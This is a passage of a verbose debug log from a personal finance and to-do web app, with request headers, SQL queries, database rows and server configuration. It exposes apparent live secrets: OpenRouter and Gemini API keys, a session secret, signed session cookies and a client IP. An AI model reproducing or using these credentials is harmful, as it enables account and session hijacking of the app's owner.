    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:28.222Z server-connect:router Serving templateView /goal
2026-07-30T08:53:28.222Z server-connect:app Executing action step identify
2026-07-30T08:53:28.223Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:28.223Z server-connect:output identity: 14
2026-07-30T08:53:28.223Z server-connect:app Executing action step restrict
2026-07-30T08:53:28.223Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:28.223Z server-connect:output restrict: undefined
2026-07-30T08:53:28.223Z server-connect:router Render template goal
2026-07-30T08:53:28.224Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:28.450Z server-connect:router Serving serverConnect /api/goals/list
2026-07-30T08:53:28.451Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-07-30T08:53:28.451Z server-connect:app Executing action step identify
2026-07-30T08:53:28.451Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:28.451Z server-connect:output identity: 14
2026-07-30T08:53:28.451Z server-connect:app Executing action step restrict
2026-07-30T08:53:28.451Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:28.452Z server-connect:app Executing action step identify
2026-07-30T08:53:28.452Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:28.452Z server-connect:output identity: 14
2026-07-30T08:53:28.452Z server-connect:app Executing action step restrict
2026-07-30T08:53:28.452Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:28.452Z server-connect:output restrict: undefined
2026-07-30T08:53:28.452Z server-connect:app Executing action step paged
2026-07-30T08:53:28.452Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-07-30T08:53:28.453Z server-connect:output restrict: undefined
2026-07-30T08:53:28.453Z server-connect:app Executing action step custom
2026-07-30T08:53:28.453Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-07-30T08:53:28.456Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-07-30T08:53:28.457Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-07-30T08:53:32.159Z server-connect:router Serving templateView /todo
2026-07-30T08:53:32.159Z server-connect:app Executing action step identify
2026-07-30T08:53:32.159Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:32.159Z server-connect:output identity: 14
2026-07-30T08:53:32.159Z server-connect:app Executing action step restrict
2026-07-30T08:53:32.159Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:32.160Z server-connect:output restrict: undefined
2026-07-30T08:53:32.160Z server-connect:router Render template todo
2026-07-30T08:53:32.160Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:32.378Z server-connect:router Serving serverConnect /api/todo/list_active
2026-07-30T08:53:32.379Z server-connect:app Executing action step identify
2026-07-30T08:53:32.379Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:32.379Z server-connect:output identity: 14
2026-07-30T08:53:32.379Z server-connect:app Executing action step restrict
2026-07-30T08:53:32.379Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:32.380Z server-connect:output restrict: undefined
2026-07-30T08:53:32.380Z server-connect:app Executing action step select
2026-07-30T08:53:32.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-07-30T08:53:32.383Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-07-30T08:53:32.384Z server-connect:app Executing action step identify
2026-07-30T08:53:32.384Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:32.384Z server-connect:output identity: 14
2026-07-30T08:53:32.384Z server-connect:app Executing action step restrict
2026-07-30T08:53:32.384Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:32.385Z server-connect:output restrict: undefined
2026-07-30T08:53:32.385Z server-connect:app Executing action step select
2026-07-30T08:53:32.385Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-07-30T08:53:32.387Z server-connect:output queryActive: [
  {
    id: 1,
    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-07-30T08:53:32.389Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-07-30T08:53:39.320Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-30T08:53:39.701Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-30T08:53:39.785Z server-connect:setup:upload Upload middleware configured.
2026-07-30T08:53:39.786Z server-connect:secure CSRF Protection initialized
2026-07-30T08:53:39.788Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-30T08:53:39.788Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-30T08:53:39.789Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-30T08:53:39.789Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-30T08:53:39.790Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-30T08:53:39.790Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-30T08:53:39.793Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-30T08:53:39.793Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-30T08:53:39.794Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-30T08:53:39.794Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-30T08:53:39.795Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-30T08:53:39.795Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-30T08:53:39.795Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-30T08:53:39.796Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-30T08:53:39.796Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-30T08:53:39.799Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-30T08:53:39.799Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-30T08:53:39.800Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-30T08:53:39.800Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-30T08:53:39.801Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-30T08:53:39.801Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-30T08:53:39.801Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-30T08:53:39.801Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-30T08:53:39.802Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-30T08:53:39.802Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-30T08:53:39.802Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-30T08:53:39.802Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-30T08:53:39.803Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-30T08:53:39.803Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-30T08:53:39.803Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-30T08:53:39.803Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-30T08:53:39.803Z server-connect:setup:routes Api route /api/test(.json)? created
